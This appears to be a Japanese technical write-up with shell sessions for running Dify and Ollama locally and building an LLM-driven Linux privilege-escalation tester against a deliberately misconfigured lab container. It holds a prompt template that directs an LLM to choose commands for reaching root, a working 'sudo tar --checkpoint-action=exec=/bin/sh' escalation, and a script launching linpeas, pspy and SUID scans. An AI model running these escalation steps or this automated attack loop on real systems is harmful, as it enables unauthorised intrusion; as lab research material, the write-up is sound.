$ git clone https://github.com/langgenius/dify.git
$ cd dify/docker
$ view docker-compose.yaml # 構成などをじっくり確認
$ docker compose up -d
(snip)
 ✔ Container docker-ssrf_proxy-1      Started
 ✔ Container docker-web-1           Started
 ✔ Container docker-sandbox-1        Started
 ✔ Container docker-redis-1           Started
 ✔ Container docker-db-1             Started
 ✔ Container docker-weaviate-1        Started
 ✔ Container docker-api-1             Started
 ✔ Container docker-worker-1          Started
 ✔ Container docker-nginx-1           Started

例：インストール
$ curl -fsSL https://ollama.com/install.sh | sh
>>> Downloading ollama...
>>> Installing ollama to /usr/local/bin...
[sudo] password for guru: ＃★一部管理者権限が必要な箇所があります
>>> Creating ollama user...
(snip)
>>> NVIDIA GPU installed.

例：サーバの起動。言語モデルのダウンロードおよびロード
$ systemctl list-unit-files | grep ollama
ollama.service     enabled  enabled
$ sudo systemctl start ollama
$ sudo ollama run gemma  ＃gemma:2bのモデルをダウンロードしました。同様にPhiもダウンロードしました

モデル関連のファイルは次のパス（/usr/share/ollama/.ollama/models/）に配置されるようです。
$ sudo ls -1 /usr/share/ollama/.ollama/models/manifests/registry.ollama.ai/library
gemma
phi

例：Ollamaのアクセス許可設定更新
$ cat /etc/systemd/system/ollama.service ＃設定を確認します
$ sudo vi /etc/systemd/system/ollama.service ＃設定をviで編集し、太字部分を追加します
[Unit]
Description=Ollama Service
After=network-online.target
[Service]
Environment="OLLAMA_HOST=0.0.0.0"
Environment="OLLAMA_ORIGINS=172.18.0.*"
Environment="OLLAMA_MODELS=/usr/share/ollama/.ollama/models/"
ExecStart=/usr/local/bin/ollama serve
(snip)
$ sudo systemctl daemon-reload ＃設定をリロードします
$ sudo systemctl restart ollama 　# サービスを再起動します
$ sudo netstat -ltnp | grep ollama
tcp6    0   0 :::11434    :::*     LISTEN      305822/ollama

例：
$ docker exec -it docker-sandbox-1 bash
root@cb42ecbc0900:/# ls -1 /tmp/code/
035fe95d_a90f_485a_ae6a_b8eb5b9cd7cc.py ★ソースコードの実態は/tmp/codeに配置されます。ホスト上にとってきてデバッグするとデバッグの効率が上がります。
(snip)
root@cb42ecbc0900:/# cat /tmp/code/035fe95d_a90f_485a_ae6a_b8eb5b9cd7cc.py
(snip)
lib = ctypes.CDLL("./var/sandbox/sandbox-python/python.so")
lib.DifySeccomp.argtypes = [ctypes.c_uint32, ctypes.c_uint32, ctypes.c_bool]
lib.DifySeccomp.restype = None ★セキュリティ対策にはseccompが使われていそうです
(snip)

例
$ cat query.tmpl
あなたは、Linuxシステム上で%%USER%%のパスワードが%%PASSWORD%%であることを知っています。%%USER%%は特権を持った管理者アカウントではありません。あなたの目的はシステムの脆弱性やシステムの設定ミスを利用して、特権をもった管理者アカウント（rootユーザー）に昇格することです。

あなたは次のいずれかを実行できます。
- `exec_command command`: ユーザーが指定したcommandを、リモートの Linux 端末の上で実行し、その実行結果を返すようにします。
- `test_credential username password`: ユーザーが指定したusernameとpasswordを、リモートの Linux machineで有効かどうかをテストします。

あなたはすでに次に示すコマンドを実行しています。
~~~ bash
%%RESULTS%%
~~~

次に実行すべきコマンドを提示してください。特権昇格に集中し、コマンドのみを提示してください。すでに実行したコマンドは実行できませんので、別のコマンドを提示してください。commandの初めの$は追加しないでください。日本語の説明は不要です。コマンド候補だけ一行で出力してください。コマンドの先頭にexec_commandもしくはtest_credentialを付けてください

出力は以下の形式を参考にして回答してください。
# 出力の例
{
"exec_command": "sudo ...",
"test_credential": "root testuser"
}

$ docker run -itd --name vuln-sv ubuntu
$ docker exec -u root -it vuln-sv bash
# useradd -s /usr/bin/bash -d /home/testuser -m testuser
# passwd testuser
# apt update
# apt install sudo vim net-tools openssh-server
# systemctl enable ssh
# /etc/init.d/ssh start
# visudo
(snip)
Cmnd_Alias ALLOWCMD = /usr/bin/tar # 追記
%adm ALL = (ALL) ALLOWCMD # 追記
# vi /etc/group # admグループにtestuser追加
# su - testuser
$ tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
# whoami
root

$ cat start.sh
#!/bin/sh
#
# start.sh
#
# Dependencies: MariaDB, RabbitMQ, Dify

# ------------------------------------
# Initialize
# ------------------------------------
CMD_PATH=`dirname $0`
round_num=5

# ------------------------------------
# Sub Routines
# ------------------------------------
# Function to initialize database
initdb() {
        . $CMD_PATH/initdb.conf
        $CMD_PATH/initdb.sh
}

# Function to reference various tables within the database
show_tables() {
        . $CMD_PATH/initdb.conf
        export MYSQL_PWD
        echo == check table-entries ==
        echo 'select * from runs;'  | mysql -h $MYSQL_HOST -u $MYSQL_USER -D $MYSQL_DATABASE
        echo 'select * from tasks;' | mysql -h $MYSQL_HOST -u $MYSQL_USER -D $MYSQL_DATABASE
        echo == check commands-results ==
        echo 'select * from tasks where exec_at is not NULL order by exec_at asc ;' | mysql -h $MYSQL_HOST -u $MYSQL_USER -D $MYSQL_DATABASE
}

# Function for parallel execution of scans using RabbitMQ (RPC)
scan_targets() {
        echo Scanning targets...
        $CMD_PATH/rpc_client.pl $1 'test_credential root testuser' >/dev/null &
        $CMD_PATH/rpc_client.pl $1 'exec_command "find / -type f \( -perm -4000 -or -perm -2000 \) -exec ls -l {} \;  2>/dev/null"' >/dev/null &
        $CMD_PATH/rpc_client.pl $1 'exec_command "bash /tmp/rihtas_ai/linpeas.sh -N -q 2>/dev/null >out;sh /tmp/rihtas_ai/parse_linpeas.sh"' >/dev/null &
        $CMD_PATH/rpc_client.pl $1 'exec_command "which getcap >/dev/null && getcap -r / 2>/dev/null"' >/dev/null &
        # (snip)
        while : ; do pgrep -f rpc_client.pl >/dev/null 2>&1 || break ; sleep 1; done
        $CMD_PATH/rpc_client.pl $1 'exec_command "chmod +x /tmp/rihtas_ai/pspy64s; timeout 120 /tmp/rihtas_ai/pspy64s -c=false 2>&1"' >/dev/null &
        $CMD_PATH/rpc_client.pl $1 'exec_command "echo testuser | sudo -S -l"' >/dev/null &
        while : ; do pgrep -f rpc_client.pl >/dev/null 2>&1 || break ; sleep 1; done
        #show_tables
}

# Function for fetching the next commands to execute using the Dify API and attempting each one sequentially.
query_ai() {
        find $CMD_PATH/queries -type f -exec rm -f {} \;
        $CMD_PATH/create_prompt.pl $1
        flag=0
        . $CMD_PATH/initdb.conf
        export MYSQL_PWD
        for i in `seq 1 $round_num`; do
                echo = round $i =
                if [ $flag -eq 1 ] ; then
                        echo "Got root";
                        n=`expr $i \- 1`
                        echo "UPDATE runs SET state='got root',stopped_at=now(),rounds=$n WHERE id = (select max(id) from runs);" | \
                          mysql -h $MYSQL_HOST -u $MYSQL_USER -D $MYSQL_DATABASE
                        break
                fi
                for f in `find queries/ -type f`; do echo -- $f --; perl api.pl $f 2>/dev/null && flag=1 && break ; done
        done
}

# Function for formatting and outputting the execution results.
report_results() {
        perl report.pl $1
}

# ------------------------------------
# Main Routine
# ------------------------------------
case "$1" in
  autorun)
        echo == autorun ==
        if [ $# -ne 2 ] ; then
                echo "Usage: $0 target_name"; exit 2
        fi
        # initalized db-entries
        perl start_scan.pl $2
        show_tables
        # transfer the suite of scanning tools to the remote host.
        perl rpc_client.pl $2 'exec_command mkdir -p /tmp/rihtas_ai'
        perl sync.pl
        # invoke scan-scripts
        scan_targets $2
        # invoke attack-scripts
        query_ai $2
        # show results
        report_results $2
        ;;
  query_ai)
        echo == query_ai ==
        if [ $# -ne 2 ] ; then
                echo "Usage: $0 target_name"; exit 3
        fi
        query_ai $2
        show_tables;
        ;;
  report_results)
        echo == report_results ==
        if [ $# -ne 2 ] ; then
                echo "Usage: $0 target_name"; exit 4
        fi
        report_results $2
        ;;
  initdb)
        initdb
        ;;
  show_tables)
        show_tables
        ;;
  *)
        echo "Usage: $0 {autorun|initdb|show_tables|query_ai|report_results}"
        exit 1
esac
exit 0
#__END__
# $ wc -l *.pl *.sh reports/report.py
#   102 api.pl
#    86 cmd.pl
#    77 create_prompt.pl
#   128 report.pl
#   116 rpc_client.pl
#    54 rpc_server.pl
#    63 start_scan.pl
#   126 sync.pl
#     6 initdb.sh
#   119 start.sh
#    54 reports/report.py
#   931 合計